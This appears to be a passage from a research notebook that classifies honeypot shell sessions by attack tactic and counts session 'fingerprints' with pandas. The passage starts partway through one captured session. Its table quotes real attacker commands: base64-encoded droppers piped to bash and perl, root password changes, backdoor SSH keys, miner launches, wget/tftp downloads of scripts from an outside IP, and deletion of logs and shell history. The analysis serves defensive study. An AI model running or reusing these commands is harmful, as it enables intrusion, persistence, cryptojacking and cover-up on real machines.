iMUM9Nyk/XzhHRVQ5MmBdKCIxJDBULVspJy1POFZNRT0nVVs4VzVSOEdFVDk3VFsiQmBAKCIhTT4yYEQ4R0VUOTctPz0mXVQ4NlBALzJgQCkkMSMwV0xEPFZdQ186VjVUPzdNQj43MUU8V1RbIkBIQCgiYEA7N0RAKScpQT0mNEAvMmBQLlBIQCgiYEApJylBPSY0QC8yYEgpJi1VPEVdQj43MUUrUyRQLEMwSStSMURfN1cxSTs2NEA6NjhAKSYtVTxFXUI+NzFFKCNYQCwjTCooImBAKCZVWSgiMVA7VylDOTZYQC8yYEgpJi1VPEVdQj43MUUqQyRQLCJETykmKVk9JjVTXzdXMU89JiVMLlBIKigiYEAoJlVZKCJARDxFXUQ9NzhMKCIxUDdWMVU9QkRbIkJgQCgiIUk5QmBIKScpQT0mNEAvN1hAK1VYSDcmMEsqNVBOKiVRRF8qMkE8OSJESDcmMEkrUkRAPlBIQCgiYEAoImBAKScpPzknNVYoI1RAKSMsWygiMVI3VjFVPUJMSygmRUYoIjBUKCNYXSgjNFsiQmBAKCJgQCgiYERfPEYlVDkyYF0oIihELDVQTikjKEIrQihEPEVdRD03OEIuUEhAKCJgQD8wSEAoImBAOjY4QCoiMVA7VylDOTZYQC83WEArVVhINyYwSyo1UE4qJVFEXyoyQTw5IkRINyYwSStSREA+UEhAKCJgQCgiYEApJyE/OSc1VigjVEApIyxbKCIxUDdWMVU9QkxLKCZFRigiMFQoI1hdKCM0WyJCYEAoImBAKCJgRF88Jl1SOFY1TigjVEAoQjBRNyJYRCxCKE4oQjFQN1YxVT1CKFsiQmBAKCIhXSJCYEAoIiFSOTcxVTxGWEgoQjFTO1YtSzdXMUk8JlxCKyIoRDxXMUFfPSc1UyhCUEIpJllJOFZMQisiKEQ4NylRPTZFVjtSKEwoQjFCPjcxRTxVXVQ7VzFBOyIoTCgiKEQ4VzVSN1YpWT0mNEIrIihEOSVdVDo2VUUoQlBAXyhCMVI4NzFFKEJQQChCMVA7VylDOTZYQiozTCooIiFdIkBIKigiIVI5NzFVPEZYSCwiRFsiR1QqIkBJUz02KEA5RkVYODYxRDxCIVsiQmBAKCIhTV8+MmBIKSYlRDknKUU8VyxJKCNUQDAlXFsiQEhAKCJgQDhWQU87N2BAKSYlRDknKUU8VyxbKCJgQCgiYCooImBAKCZFRigiQEQ4NjFEPEY1UzxSYF1fP0JgTzdFUUQqUjBPKjIhWyJCYEAoImBAKCJgQDxGNVQ9NylOKCZFTjk3MT87RzFPODJBUDg2LUsoIikuKEJQQCkmJUQ5JylFPFcsSS5QSEAoImBAXz8yIUU7Jy1JOUJgSCkmJUQ5JylFPFcsQC83WEArVVk7LDMpPS9VUUQ+UyRMLEdVPCtFTFEsRVRfNyYxWywyUFI/NVBONlMkUjczXTw5J0xRKyMpXV83Ilk7LDMpPS9VUUQ+UyRMLEdURCtSREA+UEhAKCJgQCgiYEAoJylFPSc1UjtCYEQ4NjFEPEY1UzxTTCooImBAKCdUQDk2UVM6NjhAKiIxQTkmMVJfOTctUygjVV4oJzFSK1YkTT5EJE02QlxPKjIhWygiYEAoImBAKCJgQCgiYEAoImBAKCJgQCgiYCooImBAKCJgQCgiIVI5NzFVPEZYQDo2WUU9JV1OXz0mXUEqIkBIOVY1VDomXVM9JilZO0YlTTkyQEQ4NjFEPEY1UzxSREk2UzE9KjVMUDcyRFsiQmBAKCIhXSgmNUw8VjRAPlBIQCgiYEAoImBAKCcpRS09JzVSO0NMKigiYEAoJ1QqPzB9Cg==" | base64 --decode | perl ; rm -rf /var/tmp/dota* ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKbWtkaXIgLlgxMy11bml4CmNkIC5YMTMtdW5peAptdiAvdmFyL3RtcC9kb3RhLnRhci5neiBkb3RhLnRhci5negp0YXIgeGYgZG90YS50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgLnJzeW5jOyBjYXQgL3RtcC8uWDEzLXVuaXgvLnJzeW5jL2luaXRhbGwgfCBiYXNoIDI+MSYKZXhpdCAw" | base64 --decode | bash ; cat /proc/cpuinfo | grep name | wc -l ; echo "root:b3bZyJMBgC08"|chpasswd|bash ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model |
| echo | Persistence | cat /proc/cpuinfo | grep name | wc -l ; echo "root:XP3IUReH9hhH"|chpasswd|bash ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "root 1ntr4n3t" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash |
| grep | Discovery | cat /proc/cpuinfo | grep name | wc -l ; echo "root:XP3IUReH9hhH"|chpasswd|bash ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "root 1ntr4n3t" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash |
| grep | Persistence | scp -t ~/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C ~/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C rm -f ~/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C chattr -i -a ~/.dhpcd ; LC_ALL=C rm -f ~/.dhpcd ; LC_ALL=C rmdir ~/.dhpcd ; scp -t ~/.dhpcd ; LC_ALL=C ~/.dhpcd ; LC_ALL=C cat /proc/cpuinfo ; LC_ALL=C echo ~ ; LC_ALL=C chattr -i -a /etc/shadow ; LC_ALL=C passwd ; LC_ALL=C passwd ; LC_ALL=C passwd test ; LC_ALL=C passwd test ; LC_ALL=C passwd oracle ; LC_ALL=C passwd oracle ; LC_ALL=C passwd test1 ; LC_ALL=C passwd test1 ; LC_ALL=C chattr +a /etc/shadow ; LC_ALL=C mkdir -p ~/.ssh ; LC_ALL=C chmod 700 ~/.ssh ; LC_ALL=C grep "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuhPmv3xdhU7JbMoc/ecBTDxiGqFNKbe564p4aNT6JbYWjNwZ5z6E4iQQDQ0bEp7uBtB0aut0apqDF/SL7pN5ybh2X44aCwDaSEB6bJuJi0yMkZwIvenmtCA1LMAr2XifvGS/Ulac7Qh5vFzfw562cWC+IOI+LyQZAcPgr+CXphJhm8QQ+O454ItXurQX6oPlA2rNfF36fnxYss1ZvUYC80wWTi9k2+/XR3IoQXZHKCFsJiwyKO2CY+jShBbDBbtdOX3/ksHNVNStA/jPE0HYD7u6V2Efjv9K+AEbklMsytD9T60Iu3ua+ugBrP5hL7zAjPHpXH8qW4Ku7dySZ4yvH" ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuhPmv3xdhU7JbMoc/ecBTDxiGqFNKbe564p4aNT6JbYWjNwZ5z6E4iQQDQ0bEp7uBtB0aut0apqDF/SL7pN5ybh2X44aCwDaSEB6bJuJi0yMkZwIvenmtCA1LMAr2XifvGS/Ulac7Qh5vFzfw562cWC+IOI+LyQZAcPgr+CXphJhm8QQ+O454ItXurQX6oPlA2rNfF36fnxYss1ZvUYC80wWTi9k2+/XR3IoQXZHKCFsJiwyKO2CY+jShBbDBbtdOX3/ksHNVNStA/jPE0HYD7u6V2Efjv9K+AEbklMsytD9T60Iu3ua+ugBrP5hL7zAjPHpXH8qW4Ku7dySZ4yvH >>~/.ssh/authorized_keys ; LC_ALL=C grep "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTiGm9b44ZjkQoMkcGuVsC8SGW7a9aFODS6nb64WnMwBwKPja7k56LyBBdVRm+MeKecx6Q/qLn5J+ggJ6um/LoCjKJLrX2dFOjGdyR4ZjnVBwibgr8PLrPoo7bUkaR3DMjfhcmoRlFrj51aN6g0TYHejCmug3TRpg37djYKqJ539iGNcmj021ZlzDBrjfIxUY849O72GsMuytk8n3K6XFxHj8gHyOsB7NgyvE39x9/SoGq2gkQS6TFun6dhmsr+ORokfS2265RwbdEOfnwL2LnQNuhiePlOUHRqzpc0K2pu9TGo1vNRIGSymCatMUNgnNX3tfcuMP5e8f1xDVh7fx3" ~/.ssh/authorized_keys ; LC_ALL=C echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTiGm9b44ZjkQoMkcGuVsC8SGW7a9aFODS6nb64WnMwBwKPja7k56LyBBdVRm+MeKecx6Q/qLn5J+ggJ6um/LoCjKJLrX2dFOjGdyR4ZjnVBwibgr8PLrPoo7bUkaR3DMjfhcmoRlFrj51aN6g0TYHejCmug3TRpg37djYKqJ539iGNcmj021ZlzDBrjfIxUY849O72GsMuytk8n3K6XFxHj8gHyOsB7NgyvE39x9/SoGq2gkQS6TFun6dhmsr+ORokfS2265RwbdEOfnwL2LnQNuhiePlOUHRqzpc0K2pu9TGo1vNRIGSymCatMUNgnNX3tfcuMP5e8f1xDVh7fx3 >>~/.ssh/authorized_keys ; LC_ALL=C netstat -plnt ; LC_ALL=C ss -tln ; scp -t /dev/shm/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C /dev/shm/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C rm -f /dev/shm/6vqzhh1w2sus12ms9e1oxuqryj ; scp -t /tmp/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C /tmp/6vqzhh1w2sus12ms9e1oxuqryj ; LC_ALL=C rm -f /tmp/6vqzhh1w2sus12ms9e1oxuqryj ; scp -t /tmp/knrm ; scp -t /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C /tmp/knrm ; LC_ALL=C $SHELL /tmp/r ; LC_ALL=C rm -f /home/admin/.dhpcd ; scp -t /home/admin/.dhpcd ; LC_ALL=C /home/admin/.dhpcd -o 127.0.0.1:4444 -t4 --safe -B >/dev/null 2>/dev/null ; LC_ALL=C top -bn1 ; LC_ALL=C crontab -l ; LC_ALL=C chattr -i /var/spool/cron/crontabs/root ; LC_ALL=C crontab - ; LC_ALL=C crontab -l ; LC_ALL=C rm -f /tmp/r /tmp/knrm |
| rm | Defense Evasion | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox TIPZU ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TIPZU ; tftp; wget; /bin/busybox TIPZU ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox TIPZU ; rm .s; exit |
| rm | Discovery | cat /proc/cpuinfo | grep name | wc -l ; echo "root:XP3IUReH9hhH"|chpasswd|bash ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "root 1ntr4n3t" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash |
| rm | Execution | sh ; shell ; help ; busybox ; cd /tmp || cd /run || cd /; wget http://37.49.225.155/bins.sh; chmod 777 bins.sh; sh bins.sh; rm -rf *; tftp 37.49.225.155 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 37.49.225.155; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 37.49.225.155 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf * |
| rm | Not Malicious Yet | unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ; rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ; touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r ; unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ; rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ; touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r ; uname ; uname ; free -m ; free -m ; ps -x ; ps -x ; cat /proc/cpuinfo ; cat /proc/cpuinfo |
| rm | Persistence | unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ; rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ; touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r ; unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0 ; rm -rf /var/log/wtmp ; rm -rf /var/log/lastlog ; rm -rf /var/log/secure ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/run/utmp ; touch /var/run/utmp ; touch /var/log/messages ; touch /var/log/wtmp ; touch /var/log/messages ; touch /var/log/xferlog ; touch /var/log/secure ; touch /var/log/lastlog ; rm -rf /var/log/maillog ; touch /var/log/maillog ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r ; uname ; uname ; free -m ; free -m ; ps -x ; ps -x ; cat /proc/cpuinfo ; cat /proc/cpuinfo |
# 1) Crea la colonna fingerprint come tuple (per renderla hashable)
df_inf['fingerprint'] = df_inf['predicted_tags'].apply(tuple)
# 2) Estrai l’array di fingerprints uniche
unique_fps = df_inf['fingerprint'].unique()
print(f"Trovate {len(unique_fps)} fingerprints uniche:\n")
# for fp in unique_fps:
# print(fp)
# 3) Conta quante sessioni hanno ciascuna fingerprint
fp_counts = (
df_inf
.groupby('fingerprint')
.size()
.reset_index(name='count')
.sort_values('count', ascending=False)
)
# Ribaltiamo l’ordine delle colonne per la stampa
fp_counts = fp_counts.loc[:, ['count', 'fingerprint']]
print("\nPrime 5 fingerprints con il numero di sessioni:")
print(fp_counts.head(5).to_markdown(index=False))
print(df_inf.head())
Trovate 7984 fingerprints uniche:
Prime 5 fingerprints con il numero di sessioni:
| count | fingerprint |
|--------:|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 24417 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution') |
| 15730 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution') |
| 5972 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution') |
| 4771 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery') |
| 4592 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 